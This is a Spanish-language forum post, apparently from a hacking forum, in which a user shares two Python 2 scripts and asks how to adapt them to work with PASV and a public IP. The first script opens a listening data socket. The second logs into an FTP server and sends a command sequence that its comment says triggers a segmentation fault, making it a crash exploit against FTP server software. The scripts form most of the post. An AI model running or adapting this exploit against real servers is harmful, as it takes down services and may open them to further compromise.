Este es el primer script:
Código
Crea una conexion de datos, lee 2 bytes y espera 5 segundos para que el 2º script envie el comando falso al servidor.
#!/usr/bin/env python
# Parameters
ftpClient = "192.168.1.11"
ftpClientPort = "1025"
import socket
import time
# Open a socket to receive data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ftpClient,int(ftpClientPort)))
s.listen(5)
client, address = s.accept()
print client.recv(2)
time.sleep(5)
print client.recv(1024)
client.close()
Aqui va el segundo script:
Código
#!/usr/bin/env python
# Parameters
ftpServer = "192.168.1.10"
ftpServerPort = 21
ftpUsername = "user"
ftpPassword = "password"
ftpClient = "192.168.1.11"
ftpClientPort = "1025"
# Commands to trigger the segmentation fault.
ftpCommands = """USER %s
PASS %s
SYST
TYPE A
PORT %s,%s
RETR nada
WXYZ 0wn3d
QUIT
""" % (ftpUsername, ftpPassword, ftpClient.replace('.',','), "%s,%s"%(("%04x"%int(ftpClientPort))[0:2],("%04x"%int(ftpClientPort))[2:4]))
import socket
# Open commands socket
sc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sc.connect((ftpServer,ftpServerPort))
# Will send FTP commands.
for command in ftpCommands.split('\n'):
print sc.recv(1024),
sc.send(command+'\r\n')
print command
Lo que quisiera modificar es el comando PORT que se envia por un PASV pero en el primer script no puedo poner una ip publica a ftpClient y no recoje los datos del puerto 1025. ¿Alguna manera de hacerlo? Aviso que no se programar en python pero si me dan una idea me pondre a intentarlo. Un saludo y Gracias.
Elektro H@cker: Usa el botón "insertar código" o el próximo código será eliminado. Salu2.


 
  




 Autor
 Autor
		


 En línea
									En línea
								





 
						